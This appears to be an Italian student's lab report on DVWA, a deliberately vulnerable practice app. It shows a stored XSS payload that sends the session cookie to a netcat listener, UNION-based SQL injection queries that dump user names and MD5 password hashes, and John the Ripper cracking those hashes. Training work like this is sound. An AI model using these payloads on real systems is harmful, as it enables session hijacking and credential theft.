

Report S6L5

Ho fatto accesso alla dvwa e fatto XSS stored, tramite
<script>window.location='http://127.0.0.1:4444/cookie='+document.cookie</script>

```
(kali㉿kali)-[~]  
$ nc -lvp 4444  
listening on [any] 4444 ...  
connect to [127.0.0.1] from localhost [127.0.0.1] 51870  
GET /cookie=security=low;%20PHPSESSID=9755a5561e2e603c2f1812b172ca2356 HTTP/1  
.1  
Host: 127.0.0.1:4444  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/  
115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,imag  
e/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive  
Referer: http://192.168.1.108/  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: cross-site
```

Preso tramite netcat anche se rimane visibile nell'url se provo a connettermi di nuovo alla pagina XSSstored della dvwa.

SQL injection

Esplorando il database sono stato in grado di trovare I bersagli della query successiva.

```
' UNION SELECT table_name, column_name FROM information_schema.columns WHERE  
table_schema = 'dvwa'--
```

```
ID: ' UNION SELECT table_name, column_name FROM information_schema.columns WHERE tab  
First name: guestbook  
Surname: name  
  
ID: ' UNION SELECT table_name, column_name FROM information_schema.columns WHERE tab  
First name: users  
Surname: user_id  
  
ID: ' UNION SELECT table_name, column_name FROM information_schema.columns WHERE tab  
First name: users  
Surname: first_name  
  
ID: ' UNION SELECT table_name, column_name FROM information_schema.columns WHERE tab  
First name: users  
Surname: last_name  
  
ID: ' UNION SELECT table_name, column_name FROM information_schema.columns WHERE tab  
First name: users  
Surname: user  
  
ID: ' UNION SELECT table_name, column_name FROM information_schema.columns WHERE tab  
First name: users  
Surname: password
```

Adesso so che va inserito user, password nell'injection quindi:

```
' UNION SELECT user, password FROM users#
```

User ID:

```
ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

More info

riesco ad ottenere le password, queste sono criptate in RAW-MD5 (ossia non hanno salt o implementazioni che possano complicare la criptazione)

Le password trovate le ho salvate in Banana.txt e le ho fatte criptare da john the ripper con il formato raw-MD5 (il formato si può scoprire tramite hashid o tramite ricerca su internet)

```
(kali㉿kali)-[~]  
$ john format=Raw-MD5 ~/Banana.txt  
stat: format=Raw-MD5: No such file or directory  
  
(kali㉿kali)-[~]  
$ john --format=Raw-MD5 ~/Banana.txt  
Using default input encoding: UTF-8  
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8  
x3])  
No password hashes left to crack (see FAQ)  
  
(kali㉿kali)-[~]  
$ john --show --format=Raw-MD5 ~/Banana.txt  
?:password  
?:abc123  
?:charley  
?:letmein  
?:password  
  
5 password hashes cracked, 0 left  
  
(kali㉿kali)-[~]  
$
```